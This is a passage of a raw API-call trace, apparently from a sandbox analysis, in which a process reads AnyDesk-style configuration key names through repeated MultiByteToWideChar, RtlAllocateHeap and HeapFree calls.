RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1c) returned 0x1974c40 [0283.163] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbd4640, cbMultiByte=-1, lpWideCharStr=0x1974c40, cchWideChar=14 | out: lpWideCharStr="ad.anynet.fpr") returned 14 [0283.163] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d1d8 [0283.163] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1c) returned 0x1975190 [0283.163] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1974c40 | out: hHeap=0x1930000) returned 1 [0283.163] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbffb3c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0283.163] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1a) returned 0x1974c40 [0283.163] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbffb3c, cbMultiByte=-1, lpWideCharStr=0x1974c40, cchWideChar=13 | out: lpWideCharStr="ad.anynet.id") returned 13 [0283.163] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d1f0 [0283.163] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1a) returned 0x19751b8 [0283.163] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x50) returned 0x19725d0 [0283.163] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1976660 | out: hHeap=0x1930000) returned 1 [0283.163] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1974c40 | out: hHeap=0x1930000) returned 1 [0283.163] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc10ed8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0283.163] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x28) returned 0x1976660 [0283.163] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc10ed8, cbMultiByte=-1, lpWideCharStr=0x1976660, cchWideChar=20 | out: lpWideCharStr="ad.anynet.keepalive") returned 20 [0283.163] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d208 [0283.163] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x28) returned 0x19765a0 [0283.164] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1976660 | out: hHeap=0x1930000) returned 1 [0283.164] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc16398, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 27 [0283.164] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x36) returned 0x197b350 [0283.164] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc16398, cbMultiByte=-1, lpWideCharStr=0x197b350, cchWideChar=27 | out: lpWideCharStr="ad.anynet.last_auto_update") returned 27 [0283.164] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d220 [0283.164] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x36) returned 0x198fe18 [0283.164] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x197b350 | out: hHeap=0x1930000) returned 1 [0283.164] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1140c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 24 [0283.164] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x19742b0 [0283.164] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1140c, cbMultiByte=-1, lpWideCharStr=0x19742b0, cchWideChar=24 | out: lpWideCharStr="ad.anynet.listen_socket") returned 24 [0283.164] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d238 [0283.164] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x198cd38 [0283.165] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.165] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1653c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0283.165] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x19742b0 [0283.165] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1653c, cbMultiByte=-1, lpWideCharStr=0x19742b0, cchWideChar=21 | out: lpWideCharStr="ad.anynet.network_id") returned 21 [0283.165] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d250 [0283.165] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x198cd70 [0283.165] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.165] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c770, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0283.165] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x1974c40 [0283.165] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c770, cbMultiByte=-1, lpWideCharStr=0x1974c40, cchWideChar=15 | out: lpWideCharStr="ad.anynet.pkey") returned 15 [0283.165] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d268 [0283.165] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x19751e0 [0283.165] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1974c40 | out: hHeap=0x1930000) returned 1 [0283.165] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0df78, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 19 [0283.165] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x26) returned 0x1976660 [0283.165] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0df78, cbMultiByte=-1, lpWideCharStr=0x1976660, cchWideChar=19 | out: lpWideCharStr="ad.anynet.pwd_hash") returned 19 [0283.165] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d280 [0283.165] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x26) returned 0x1976570 [0283.166] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1976660 | out: hHeap=0x1930000) returned 1 [0283.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0df8c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 19 [0283.166] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x26) returned 0x1976660 [0283.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0df8c, cbMultiByte=-1, lpWideCharStr=0x1976660, cchWideChar=19 | out: lpWideCharStr="ad.anynet.pwd_salt") returned 19 [0283.166] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d298 [0283.166] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x26) returned 0x198a0f8 [0283.166] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1976660 | out: hHeap=0x1930000) returned 1 [0283.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc26f88, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 37 [0283.166] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4a) returned 0x1972418 [0283.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc26f88, cbMultiByte=-1, lpWideCharStr=0x1972418, cchWideChar=37 | out: lpWideCharStr="ad.security.permission_profiles.user") returned 37 [0283.166] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d2b0 [0283.166] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4a) returned 0x19723c0 [0283.166] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1972418 | out: hHeap=0x1930000) returned 1 [0283.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc26fb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 43 [0283.166] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x56) returned 0x19755a0 [0283.167] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc26fb0, cbMultiByte=-1, lpWideCharStr=0x19755a0, cchWideChar=43 | out: lpWideCharStr="ad.security.permission_profiles.predefined") returned 43 [0283.167] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d2c8 [0283.167] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x56) returned 0x19754e0 [0283.167] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19755a0 | out: hHeap=0x1930000) returned 1 [0283.167] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0cf08, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 51 [0283.167] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x66) returned 0x1980390 [0283.167] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0cf08, cbMultiByte=-1, lpWideCharStr=0x1980390, cchWideChar=51 | out: lpWideCharStr="ad.security.permission_profiles.address_to_profile") returned 51 [0283.167] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d2e0 [0283.167] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x66) returned 0x19808d0 [0283.167] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xa0) returned 0x19917c0 [0283.167] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19725d0 | out: hHeap=0x1930000) returned 1 [0283.167] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1980390 | out: hHeap=0x1930000) returned 1 [0283.167] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0e240, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 43 [0283.168] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x56) returned 0x19755a0 [0283.168] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0e240, cbMultiByte=-1, lpWideCharStr=0x19755a0, cchWideChar=43 | out: lpWideCharStr="ad.security.permission_profiles.invitation") returned 43 [0283.168] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d2f8 [0283.168] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x56) returned 0x19759c0 [0283.168] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19755a0 | out: hHeap=0x1930000) returned 1 [0283.168] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c0a8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 36 [0283.168] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x48) returned 0x19793c0 [0283.168] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c0a8, cbMultiByte=-1, lpWideCharStr=0x19793c0, cchWideChar=36 | out: lpWideCharStr="ad.anynet.register.add_to_namespace") returned 36 [0283.168] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d310 [0283.168] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x48) returned 0x198ba68 [0283.168] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19793c0 | out: hHeap=0x1930000) returned 1 [0283.168] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c0ec, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 33 [0283.168] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x42) returned 0x19793c0 [0283.168] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c0ec, cbMultiByte=-1, lpWideCharStr=0x19793c0, cchWideChar=33 | out: lpWideCharStr="ad.anynet.register.add_to_roster") returned 33 [0283.168] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d328 [0283.169] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x42) returned 0x198bab8 [0283.169] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19793c0 | out: hHeap=0x1930000) returned 1 [0283.169] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c0cc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 32 [0283.169] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x40) returned 0x197a050 [0283.169] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c0cc, cbMultiByte=-1, lpWideCharStr=0x197a050, cchWideChar=32 | out: lpWideCharStr="ad.anynet.register.namespace_id") returned 32 [0283.169] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d340 [0283.169] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x40) returned 0x1970540 [0283.169] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x197a050 | out: hHeap=0x1930000) returned 1 [0283.169] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c110, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 29 [0283.169] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3a) returned 0x197a050 [0283.169] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c110, cbMultiByte=-1, lpWideCharStr=0x197a050, cchWideChar=29 | out: lpWideCharStr="ad.anynet.register.roster_id") returned 29 [0283.169] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d358 [0283.169] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3a) returned 0x1970588 [0283.170] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x197a050 | out: hHeap=0x1930000) returned 1 [0283.170] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c130, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 31 [0283.170] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3e) returned 0x197a050 [0283.170] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c130, cbMultiByte=-1, lpWideCharStr=0x197a050, cchWideChar=31 | out: lpWideCharStr="ad.anynet.register.roster_tags") returned 31 [0283.170] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d370 [0283.170] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3e) returned 0x19705d0 [0283.170] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x197a050 | out: hHeap=0x1930000) returned 1 [0283.170] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9f54, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0283.170] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x19742b0 [0283.170] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9f54, cbMultiByte=-1, lpWideCharStr=0x19742b0, cchWideChar=22 | out: lpWideCharStr="ad.anynet.relay.error") returned 22 [0283.170] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d388 [0283.170] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x198cda8 [0283.170] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.171] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9f3c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0283.171] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x19742b0 [0283.171] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9f3c, cbMultiByte=-1, lpWideCharStr=0x19742b0, cchWideChar=22 | out: lpWideCharStr="ad.anynet.relay.state") returned 22 [0283.171] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d3a0 [0283.171] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x198cde0 [0283.171] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.171] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c73c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0283.171] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x19742b0 [0283.171] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c73c, cbMultiByte=-1, lpWideCharStr=0x19742b0, cchWideChar=22 | out: lpWideCharStr="ad.anynet.svr_ciphers") returned 22 [0283.171] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d3d0 [0283.183] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x198ce50 [0283.183] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.183] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc10f30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0283.183] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x19742b0 [0283.184] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc10f30, cbMultiByte=-1, lpWideCharStr=0x19742b0, cchWideChar=21 | out: lpWideCharStr="ad.anynet.token_salt") returned 21 [0283.184] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d3e8 [0283.184] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x198ce88 [0283.184] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.184] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc10f48, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0283.184] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4c) returned 0x19725d0 [0283.184] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc10f48, cbMultiByte=-1, lpWideCharStr=0x19725d0, cchWideChar=38 | out: lpWideCharStr="ad.anynet.accept_volatile_tokens_info") returned 38 [0283.184] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d400 [0283.184] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4c) returned 0x1972418 [0283.184] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19725d0 | out: hHeap=0x1930000) returned 1 [0283.184] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe9190, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 23 [0283.184] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x19742b0 [0283.184] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe9190, cbMultiByte=-1, lpWideCharStr=0x19742b0, cchWideChar=23 | out: lpWideCharStr="ad.anynet.update_state") returned 23 [0283.184] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d418 [0283.184] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x198cec0 [0283.185] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.185] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbff0cc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0283.185] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x32) returned 0x197b350 [0283.185] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbff0cc, cbMultiByte=-1, lpWideCharStr=0x197b350, cchWideChar=25 | out: lpWideCharStr="ad.anynet.two_factor_key") returned 25 [0283.185] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d430 [0283.185] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x32) returned 0x198fe58 [0283.185] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x197b350 | out: hHeap=0x1930000) returned 1 [0283.185] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbff0e8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 34 [0283.185] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x44) returned 0x198bb08 [0283.185] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbff0e8, cbMultiByte=-1, lpWideCharStr=0x198bb08, cchWideChar=34 | out: lpWideCharStr="ad.security.two_factor_auth_flags") returned 34 [0283.185] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d448 [0283.185] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x44) returned 0x198bb58 [0283.185] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198bb08 | out: hHeap=0x1930000) returned 1 [0283.185] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0f87c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0283.185] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x28) returned 0x1976660 [0283.185] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0f87c, cbMultiByte=-1, lpWideCharStr=0x1976660, cchWideChar=20 | out: lpWideCharStr="ad.custom_client_id") returned 20 [0283.185] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d460 [0283.186] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x28) returned 0x198a128 [0283.186] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1976660 | out: hHeap=0x1930000) returned 1 [0283.186] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0ce84, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 26 [0283.186] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x34) returned 0x197b350 [0283.186] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0ce84, cbMultiByte=-1, lpWideCharStr=0x197b350, cchWideChar=26 | out: lpWideCharStr="ad.debug.dump_inject_keys") returned 26 [0283.186] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d478 [0283.186] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x34) returned 0x198fe98 [0283.186] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x197b350 | out: hHeap=0x1930000) returned 1 [0283.186] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0cf60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 24 [0283.186] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x19742b0 [0283.186] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0cf60, cbMultiByte=-1, lpWideCharStr=0x19742b0, cchWideChar=24 | out: lpWideCharStr="ad.debug.dump_rcvd_keys") returned 24 [0283.186] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d490 [0283.186] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x198cef8 [0283.187] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.187] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0fb78, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 24 [0283.187] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x19742b0 [0283.187] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0fb78, cbMultiByte=-1, lpWideCharStr=0x19742b0, cchWideChar=24 | out: lpWideCharStr="ad.debug.dump_sent_keys") returned 24 [0283.187] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d4a8 [0283.187] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x198cf30 [0283.188] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.188] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9f6c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0283.188] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1c) returned 0x1974c40 [0283.188] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9f6c, cbMultiByte=-1, lpWideCharStr=0x1974c40, cchWideChar=14 | out: lpWideCharStr="ad.debug.fuzz") returned 14 [0283.188] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d4c0 [0283.188] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1c) returned 0x1975208 [0283.188] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1974c40 | out: hHeap=0x1930000) returned 1 [0283.188] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe9a7c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 17 [0283.188] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x22) returned 0x1976660 [0283.188] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe9a7c, cbMultiByte=-1, lpWideCharStr=0x1976660, cchWideChar=17 | out: lpWideCharStr="ad.features.motd") returned 17 [0283.188] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d4d8 [0283.188] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x22) returned 0x198a158 [0283.188] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x140) returned 0x196be90 [0283.188] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19917c0 | out: hHeap=0x1930000) returned 1 [0283.189] HeapFree (in: 